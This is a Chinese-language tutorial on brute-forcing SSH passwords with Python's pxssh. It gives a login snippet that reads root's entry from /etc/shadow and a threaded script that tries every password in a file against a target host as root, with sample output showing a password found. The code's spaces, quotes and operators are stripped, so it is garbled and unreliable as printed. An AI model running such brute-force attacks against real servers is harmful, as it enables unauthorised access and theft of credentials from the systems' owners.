利用暴力破解密码

　　在前面我们利用Pexpect实现了SSH登录。不过这种方式已经有一个现成的包做好了。它叫Pxssh首先用一个小例子来感受一下它的用法：
　　frompexpectimportpxsshdefsendcommand（s，cmd）：s。sendline（cmd）s。prompt（）print（s。before）defconnect（host，user，password）：try：spxssh。pxssh（）s。login（host，user，password）returnsexcept：print〔〕ErrorConnectingexit（0）sconnect（115。28。24。44，root，xxx）sendcommand（s，catetcshadowgreproot）
　　然后接下来我们用它来实现暴力破解SSH密码。
　　我们只需要对我们的脚本稍作修改就能暴力破解SSH认证。除了增加一些选项解析主机名，用户名和密码文件，我们唯一要做的就是稍微修改一下connect（）函数。如果login（）函数成功登陆没有异常的话，我们将打印消息提示发现密码，然后更新全局布尔值标识。否则，我们将捕捉异常。如果异常显示密码refused，我们知道密码错误，直接返回。然而，如果异常显示socket套接字readnonblocking，我们可以假设这个SSH服务器超过了最大连接数，然后我们会睡眠几秒再次尝试相同的密码连接。此外，如果异常显示pxssh难以获得命令提示符，我们将睡眠一会使它能获取命令提示符。值得注意的是我们包含一个布尔值在connect（）的函数参照中。connect（）函数可以递归的调用其他的connect（）函数，我们希望调用者可以释放连接锁信号量。
　　下面是一个例子，把密码写到一个文件里：
　　codingUTF8frompexpectimportpxsshimportoptparseimporttimeimportthreadingmaxConnections5connectionlockthreading。BoundedSemaphore（valuemaxConnections）FoundFalseFails0defconnect（host，user，password，release）：globalFound，Failstry：spxssh。pxssh（）s。login（host，user，password）print（〔〕PasswordFound：password）FoundTrueexceptExceptionase：ifreadnonblockinginstr（e）：Fails1time。sleep（5）connect（host，user，password，False）elifsynchronizewithoriginalpromptinstr（e）：time。sleep（1）connect（host，user，password，False）finally：ifrelease：connectionlock。release（）defmain（）：parseroptparse。OptionParser（usageH）parser。addoption（H，desttgtHost，typestring，helpspecifytargethost）parser。addoption（f，destpasswdFile，typestring，helpspecifypasswordfile）parser。addoption（u，destuser，typestring，helpspecifytheuser）（options，args）parser。parseargs（）hostoptions。tgtHostpasswdFileoptions。passwdFileuseroptions。userifhostNoneorpasswdFileNoneoruserNone：print（parser。usage）exit（0）fnopen（passwdFile，r）forlineinfn。readlines（）：ifFound：print〔〕Exiting：PasswordFoundexit（0）ifF5：print〔！〕Exiting：TooManySocketTimeoutsexit（0）connectionlock。acquire（）passwordline。strip（）。strip（）print（〔〕Testing：str（password））tthreading。Thread（targetconnect，args（host，user，password，True））t。start（）ifnamemain：main（）
　　运行
　　pythonpxsshssh。pyH111。33。24。44fpassword。txturoot〔〕Testing：08301ly〔〕Testing：abcs〔〕Testing：acord〔〕Testing：0022〔〕PasswordFound：abcs